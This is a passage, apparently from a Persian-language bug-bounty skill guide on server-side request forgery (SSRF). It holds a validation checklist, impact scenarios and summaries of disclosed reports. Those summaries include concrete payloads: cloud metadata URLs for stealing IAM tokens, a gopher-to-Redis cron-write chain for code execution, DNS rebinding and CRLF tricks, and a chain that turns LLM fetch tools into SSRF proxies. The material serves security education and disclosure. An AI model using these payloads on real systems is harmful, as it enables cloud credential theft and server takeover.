  4. ۴‏«سرور request می‌زند» به‌تنهایی کافی نیست — نشان بده request *کجا* می‌رود و *چه چیزی* برمی‌گردد.
  5. ۵قربانی چه چیزی از دست می‌دهد؟
  6. ۶‏credentialهای ابری (توکن‌های IAM) ← compromise کامل حساب ابری؟
  7. ۷‏داده‌ی سرویس داخلی (PII کاربر، رازها، کلیدهای API)؟
  8. ۸‏امکان pivot به RCE از طریق سرویس admin داخلی؟
  9. ۹‏اگر پاسخ فقط «سرور URL من را fetch می‌کند» است، شدت پایین است — شعاع انفجار قابل‌دسترس واقعی را کمّی کن.
  10. ۱۰آیا در ۱۰ دقیقه از صفر قابل‌بازتولید است؟
  11. ۱۱‏آیا endpoint آسیب‌پذیر هنوز بالاست و پارامتر هنوز موجود است؟
  12. ۱۲‏آیا سرور callback تو hit را به‌صورت قابل‌اعتماد نشان می‌دهد (نه متناوب)؟
  13. ۱۳‏آیا نفر دوم می‌تواند بدون دانش قبلی مراحلت را دنبال کند و همان نتیجه را بگیرد؟
  14. ۱۴‏اگر بازتولید به timing، توکن یا شانس خاص نیاز دارد — ناپایداری را پیش از ارسال حل کن.
۹

اهداف ارزشمند

Real Impact Examples
ترجمه‌ی کامل ✓بخش ۹ از ۱۱

چرا این کلاس آسیب‌پذیری پربهاست و کدام assetها بیشترین payout را دارند

سناریوی الف: بیرون‌کشیدن credential ابری از طریق Link Preview (الگوی Snapchat/GCP)

API عمومی «link preview» پارامتر url را می‌پذیرفت و هدف را سمت سرور fetch می‌کرد تا محتوای thumbnail بسازد. این قابلیت روی GCP Compute Engine با IMDSv1 فعال و بدون اعمال هدر Metadata-Flavor سمت سرور اجرا می‌شد. با دادن url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token، مهاجم یک access token معتبر OAuth2 برای service account اینستنس دریافت کرد. توکن دسترسی به منابع داخلی پروژه‌ی GCP از جمله bucketهای storage حاوی داده‌ی کاربر را می‌داد. مهاجم با اجرای JavaScript در context رندر headless، توکن را از طریق ساب‌دامین‌های DNS-encoded بیرون کشید و محدودیت body پاسخ را دور زد.

سناریوی ب: compromise مربوط به API کوبرنتیز از طریق سرور تجمیعی ربوده‌شده (الگوی Kubernetes)

مهاجمی که می‌توانست یک API extension server در Kubernetes ثبت کند (معادل metrics-server)، پاسخ‌های 302 Location: http://127.0.0.1:6443/api/v1/secrets را به لایه‌ی تجمیع برمی‌گرداند. چون پراکسی تجمیع redirectها را خودکار دنبال می‌کرد بدون اعتبارسنجی مجدد مقصد در برابر blocklist شبکه‌ی داخلی، redirect باعث شد خودِ لایه‌ی تجمیع (با credential ممتاز کلاستر) رازهای داخلی API کوبرنتیز را fetch کند و در پاسخ برگرداند. این عملاً به مهاجم با امتیاز محدود ثبت API امکان ارتقا به خواندن کامل رازهای کلاستر را داد — privilege escalation بحرانی از طریق SSRF زنجیره‌شده در اجزای زیرساخت مورداعتماد.

۱۰

نمونه‌های واقعی و impact

Disclosed Report Citations (Backfill +6 — 2018-2024)
ترجمه‌ی کامل ✓بخش ۱۰ از ۱۱

سناریوها و گزارش‌های افشاشده که الگوی باگ و اثر واقعی را نشان می‌دهند

موارد واقعی و تأییدشده‌ی باگ‌بانتی/افشای هماهنگ زیر این اسکیل را گسترش می‌دهند. SSRFهای متادیتای ابری در هر سه provider، DNS rebinding، gopher←Redis←RCE، SSRF مربوط به link-preview و زنجیره‌های مرورگر headless/تولید PDF همه پوشش داده شده‌اند.

  1. HackerOne — SSRF در گزارش‌های Analytics (تولید PDF ← متادیتای AWS) (H1 #2262382 · Writeup)
  • ‏زیرکلاس: SSRF مرورگر headless (تولید PDF) ← SSRF متادیتای AWS (IMDSv1)
  • ‏payload: تزریق <iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"> در عنصر template که سمت سرور رندر می‌شد؛ حلقه‌ی Ruby بک‌اند HTML مربوط به template نامطمئن را در PDF رندر می‌کرد و پاسخ IMDS را داخل PDF/پیام خطا منعکس می‌کرد
  • ‏علت ریشه‌ای: قطعه‌ی template کنترل‌شده‌ی کاربر بدون sanitization در پایپ‌لاین رندر PDF بازتاب شد؛ IMDSv2 اعمال نشده بود
  • ‏سال: ۲۰۲۳ — ۲۵٬۰۰۰ دلار (CVSS 10.0 Critical)
  1. Shopify Exchange — SSRF در سرویس اسکرین‌شات ← متادیتای GCP ← root کانتینر (H1 #341876)
  • ‏زیرکلاس: SSRF متادیتای GCP ← زنجیره‌ی SSRF←RCE
  • ‏payload: ساخت فروشگاه روی partners.shopify.com، ویرایش template مربوط به password.liquid برای تعبیه‌ی request به http://metadata.google.internal/computeMetadata/v1/ با هدر Metadata-Flavor: Google، بعد تحریک سرویس اسکرین‌شات Exchange برای رندر سمت سرور template
  • ‏علت ریشه‌ای: اسکرین‌شات‌گیر template کنترل‌شده‌ی کاربر را بدون blocklist هاست متادیتا و بدون پراکسی پنهان‌کننده‌ی متادیتا fetch می‌کرد
  • ‏سال: ۲۰۱۸ — ۲۵٬۰۰۰ دلار (الگوی متعارف headless ← متادیتا)
  1. Concrete CMS — دورزدن اقدام کاهشی SSRF با DNS rebinding ← کلیدهای AWS IAM (H1 #1369312)
  • ‏زیرکلاس: SSRF مربوط به DNS rebinding ← SSRF متادیتای AWS (IMDSv1)
  • ‏payload: قابلیت آپلود فایل از URL؛ DNS server مهاجم رکوردهای A را بین 1.2.3.4 (عمومی) و 169.254.169.254 جابه‌جا می‌کرد؛ بردن مسابقه بین اعتبارسنجی و fetch به ۲–۳ request نیاز داشت؛ request نهایی credential نقش IAM را گرفت
  • ‏علت ریشه‌ای: hostname با یک resolve اعتبارسنجی می‌شد؛ مسیر دانلود DNS را بدون pin کردن IP اعتبارسنجی‌شده دوباره resolve می‌کرد
  • ‏سال: ۲۰۲۱ — فیکس در 8.5.7 / 9.0.1
  1. Yahoo Mail — SSRF نابینا ← Gopher ← RCE در Redis (Writeup)
  • ‏زیرکلاس: سوءاستفاده از پروتکل gopher ← SSRF در Redis ← زنجیره‌ی SSRF←RCE
  • ‏payload: SSRF نابینا در بک‌اند Yahoo Mail با gopher://internal-redis:6379/_*1%0d%0a$8%0d%0aflushall...SET stuff /var/spool/cron/root...BGSAVE — نوشتن cron از طریق Redis برای اجرای دستور
  • ‏علت ریشه‌ای: طرح gopher در blocklist نبود؛ Redis داخلی بدون احراز هویت روی پورت پیش‌فرض؛ هدف SSRF ریدایرکت 302 از هاست مهاجم به gopher:// را می‌پذیرفت
  • ‏سال: ۲۰۲۰ — ۱۵٬۰۰۰ دلار
  1. Reddit Matrix — SSRF نابینا در API مربوط به preview_url (H1 #1960765)
  • ‏زیرکلاس: SSRF مربوط به link-preview (نابینا، اسکن پورت داخلی با timing/کدهای پاسخ)
  • ‏payload: GET https://matrix.redditspace.com/_matrix/media/r0/preview_url/?url=http://10.0.0.0:80/ — تغییر IP/پورت‌های داخلی؛ نام سرویس‌ها و IPها از تفاوت پاسخ‌ها پیش از فیکس لو رفتند
  • ‏علت ریشه‌ای: fetcher مربوط به link-preview مقصدهای RFC1918/link-local را رد نمی‌کرد؛ فقط allowlist بر اساس scheme
  • ‏سال: ۲۰۲۳ — ۶٬۰۰۰ دلار
  1. Azure DevOps — SSRF در Service Hooks + دورزدن DNS rebinding در endpointproxy (Binary Security writeup)
  • ‏زیرکلاس: SSRF فیلد URL مربوط به webhook + SSRF مربوط به DNS rebinding ← Azure IMDS / managed identity
  • ‏payload: URL مربوط به webhook در service-hook یا پارامتر endpointproxy به هاست rebinding مهاجم تنظیم شد؛ resolve دوم 169.254.169.254 برگرداند؛ با تزریق CRLF هدر Metadata: true لازم برای Azure IMDS زنجیره شد
  • ‏علت ریشه‌ای: الگوی اعتبارسنجی-سپس-fetch با lookupهای جداگانه‌ی DNS؛ CRLF در مسیر URL هدرهای لازم برای Azure IMDS را تزریق کرد
  • ‏سال: ۲۰۲۳–۲۰۲۴ — مجموعاً ۱۵٬۰۰۰ دلار در ۳ گزارش
اسکیل‌های مرتبط:
۱۱

دروازه‌ی اعتبارسنجی

Related Skills & Chains
ترجمه‌ی کامل ✓بخش ۱۱ از ۱۱

چک‌لیست‌ها و قواعد پیش از گزارش برای جلوگیری از false positive و N/A

  • ‏‏cloud-iam-deep — SSRF ورودی متعارف به سرویس متادیتای ابری است. primitive زنجیره: SSRF ← سرقت توکن IMDSv1 ← privilege escalation در cloud-iam-deep به iam:CreateUser / sts:AssumeRole روی نقش‌های میان‌حسابی می‌رسد.
  • ‏‏hunt-llm-ai — LLMهایی که ابزار fetch_url دارند به پراکسی SSRF تبدیل می‌شوند که کنترل‌های egress شبکه را دور می‌زنند. primitive زنجیره: tool-use در LLM (fetch_url) + SSRF ← URL مهاجم تاریخچه‌ی چت و توکن IMDS را از کانتینر LLM بیرون می‌کشد.
  • ‏‏hunt-rce — Redis/Memcached داخلی به‌صورت پیش‌فرض بدون احراز هویت‌اند و از طریق gopher:// قابل‌دسترس‌اند. primitive زنجیره: SSRF + Gopher ← CONFIG SET dir در Redis داخلی + RCE از طریق cron / نوشتن SSH authorized_keys.
  • ‏‏hunt-cloud-misconfig — bucketها/APIهای فقط-داخلی از طریق egress مربوط به SSRF قابل‌دسترس می‌شوند. primitive زنجیره: SSRF + DNS rebinding ← دورزدن endpoint محافظت‌شده با SSRF ← خواندن /admin داخلی یا bucket خصوصی S3.
  • ‏‏security-arsenal — پیش از تست فیلترها، جدول IP Bypass مربوط به SSRF را بردار (۱۱ تکنیک: IP ده‌دهی، IPv6 mapped، اکتال، نقطه‌ی انتهایی، DNS rebinding، زنجیره‌ی redirect و…).
  • ‏‏triage-validation — دروازه‌ی OOB-Or-It-Didn't-Happen را اعمال کن: هر ادعای SSRF نابینا پیش از ارسال گزارش به hit مربوط به Burp Collaborator با مارکر یکتا نیاز دارد.
مراحل استخراج‌شده
  1. ۱‏‏`cloud-iam-deep` — SSRF ورودی متعارف به سرویس متادیتای ابری است. primitive زنجیره: SSRF ← سرقت توکن IMDSv1 ← privilege escalation در `cloud-iam-deep` به `iam:CreateUser` / `sts:AssumeRole` روی نقش‌های میان‌حسابی می‌رسد.
  2. ۲‏‏`hunt-llm-ai` — LLMهایی که ابزار fetch_url دارند به پراکسی SSRF تبدیل می‌شوند که کنترل‌های egress شبکه را دور می‌زنند. primitive زنجیره: tool-use در LLM (fetch_url) + SSRF ← URL مهاجم تاریخچه‌ی چت و توکن IMDS را از کانتینر LLM بیرون می‌کشد.
  3. ۳‏‏`hunt-rce` — Redis/Memcached داخلی به‌صورت پیش‌فرض بدون احراز هویت‌اند و از طریق gopher:// قابل‌دسترس‌اند. primitive زنجیره: SSRF + Gopher ← `CONFIG SET dir` در Redis داخلی + RCE از طریق cron / نوشتن SSH authorized_keys.
  4. ۴‏‏`hunt-cloud-misconfig` — bucketها/APIهای فقط-داخلی از طریق egress مربوط به SSRF قابل‌دسترس می‌شوند. primitive زنجیره: SSRF + DNS rebinding ← دورزدن endpoint محافظت‌شده با SSRF ← خواندن /admin داخلی یا bucket خصوصی S3.
  5. ۵‏‏`security-arsenal` — پیش از تست فیلترها، جدول IP Bypass مربوط به SSRF را بردار (۱۱ تکنیک: IP ده‌دهی، IPv6 mapped، اکتال، نقطه‌ی انتهایی، DNS rebinding، زنجیره‌ی redirect و…).
  6. ۶‏‏`triage-validation` — دروازه‌ی OOB-Or-It-Didn't-Happen را اعمال کن: هر ادعای SSRF نابینا پیش از ارسال گزارش به hit مربوط به Burp Collaborator با مارکر یکتا نیاز دارد.